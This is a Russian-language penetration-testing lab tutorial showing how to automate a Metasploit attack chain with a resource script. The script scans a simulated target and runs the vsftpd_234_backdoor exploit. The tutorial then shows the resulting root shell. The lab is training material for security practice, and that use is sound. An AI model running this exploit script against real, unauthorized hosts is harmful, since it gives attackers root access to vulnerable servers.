Автоматизация атак с помощью скриптов ресурсов Metasploit

Kali LinuxBeginner
Практиковаться сейчас

Введение

Добро пожаловать в эту лабораторную работу по автоматизации атак с помощью скриптов ресурсов Metasploit. Metasploit Framework — это мощный инструмент для тестирования на проникновение, но ручной ввод команд для каждого задания может быть утомительным и занимать много времени. Скрипты ресурсов, которые представляют собой простые текстовые файлы с расширением .rc, позволяют автоматизировать эти последовательности команд.

В этой лабораторной работе вы научитесь создавать скрипт ресурсов для автоматизации полной цепочки атак на уязвимый сервис. Это включает настройку рабочей области (workspace), сканирование цели, выбор эксплойта, его настройку и запуск атаки. К концу этой лабораторной работы вы сможете создавать собственные скрипты для оптимизации ваших рабочих процессов тестирования на проникновение.

Для этой лабораторной работы мы будем использовать симулированную уязвимую машину. Предположим, IP-адрес целевой машины — 10.0.2.15.

Создание нового файла с расширением .rc

На этом этапе вы создадите файл скрипта ресурсов. Скрипт ресурсов Metasploit — это просто текстовый файл, содержащий список команд msfconsole, которые выполняются последовательно. По соглашению, эти файлы имеют расширение .rc.

Мы будем использовать текстовый редактор nano для создания файла с именем attack.rc в каталоге по умолчанию ~/project.

Откройте терминал и выполните следующую команду, чтобы создать и открыть новый файл:

nano attack.rc

Эта команда откроет пустой файл в редакторе nano. Пока просто сохраните пустой файл и выйдите из редактора, нажав Ctrl+X, затем Y и, наконец, Enter. Теперь вы создали файл скрипта ресурсов, который вы заполните на следующих шагах.

Добавление последовательности команд msfconsole в файл

На этом этапе вы добавите начальные команды в ваш скрипт ресурсов. Эти команды настроят выделенное рабочее пространство для нашего теста и запустят базовое сканирование Nmap для сбора информации о цели. Организация работы по рабочим пространствам является хорошей практикой в Metasploit.

Сначала снова откройте файл attack.rc с помощью nano:

nano attack.rc

Теперь добавьте следующие строки в файл. Первая команда создает новое рабочее пространство с именем vsftpd_lab, а вторая команда запускает сканирование Nmap против нашей цели (10.0.2.15) и сохраняет результаты в базе данных.

workspace -a vsftpd_lab
db_nmap -A 10.0.2.15

После добавления этих двух строк ваш файл attack.rc должен выглядеть именно так. Сохраните файл и выйдите из nano, нажав Ctrl+X, Y и Enter.

Включение команд для использования эксплойта, установки опций и запуска

На этом этапе вы добавите основные команды атаки в скрипт. Мы будем нацеливаться на известную уязвимость в сервере VSFTPD, а именно на эксплойт vsftpd_234_backdoor. Вы добавите команды для выбора этого эксплойта, установки необходимой опции цели и, наконец, его выполнения.

Снова откройте файл attack.rc с помощью nano:

nano attack.rc

Добавьте следующие команды в конец файла. Эти команды инструктируют Metasploit:

  1. use exploit/unix/ftp/vsftpd_234_backdoor: Выбрать конкретный модуль эксплойта.
  2. set RHOSTS 10.0.2.15: Установить опцию RHOSTS (Удаленные Хосты) на IP-адрес нашей цели.
  3. exploit: Запустить атаку.
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit

После добавления этих строк ваш полный файл attack.rc теперь должен содержать следующие пять команд:

workspace -a vsftpd_lab
db_nmap -A 10.0.2.15
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.0.2.15
exploit

Сохраните изменения и выйдите из редактора nano (Ctrl+X, Y, Enter). Ваш автоматизированный скрипт атаки теперь завершен.

Запуск msfconsole с флагом -r для выполнения скрипта

На этом этапе вы выполните только что созданный скрипт ресурсов. Консоль Metasploit, msfconsole, может быть запущена с флагом -r, за которым следует путь к скрипту ресурсов. Это указывает Metasploit выполнить команды из указанного файла при запуске.

Убедитесь, что вы находитесь в каталоге ~/project, где расположен ваш файл attack.rc. Теперь выполните следующую команду в терминале:

msfconsole -r attack.rc

Эта команда запустит Metasploit Framework. Вместо того чтобы сразу предоставить вам обычный приглашение msf6 >, она начнет выполнять каждую команду из attack.rc по очереди.

Наблюдение за автоматическим выполнением цепочки атаки

На этом заключительном этапе вы увидите результаты вашего автоматизированного скрипта. По мере выполнения msfconsole вы будете видеть вывод каждой команды из вашего файла attack.rc. Вы увидите создание рабочей области, выполнение сканирования Nmap, настройку эксплойта и, наконец, запуск атаки.

Если атака будет успешной, Metasploit откроет сессию командной оболочки на целевой машине. Вы увидите сообщение, похожее на это:

[*] Found shell.
[*] Command shell session 1 opened (10.0.2.4:42931 -> 10.0.2.15:6200) at 2023-10-27 10:30:00 -0400

Теперь вы находитесь в оболочке на скомпрометированной цели. Чтобы проверить это, вы можете выполнить команду, такую как whoami, чтобы увидеть, от имени какого пользователя вы работаете.

whoami

Ожидаемый вывод должен быть:

root

Это подтверждает, что ваш автоматизированный скрипт успешно скомпрометировал цель и получил доступ root.

Для очистки введите exit, чтобы закрыть сессию командной оболочки, а затем снова введите exit, чтобы выйти из msfconsole.

Резюме

В этой лабораторной работе вы успешно научились автоматизировать рабочий процесс тестирования на проникновение с использованием скриптов ресурсов Metasploit.

Вы начали с создания файла скрипта ресурсов (attack.rc). Затем вы заполнили его последовательностью команд msfconsole для выполнения полной цепочки атаки: создание рабочей области, сканирование цели, выбор и настройка эксплойта, и, наконец, запуск атаки. Вы узнали, как выполнить этот скрипт с помощью команды msfconsole -r и наблюдали за автоматическим выполнением.

Этот навык бесценен для экономии времени и обеспечения согласованности при оценке безопасности. Теперь вы можете создавать более сложные скрипты для автоматизации различных повторяющихся задач в будущих проектах.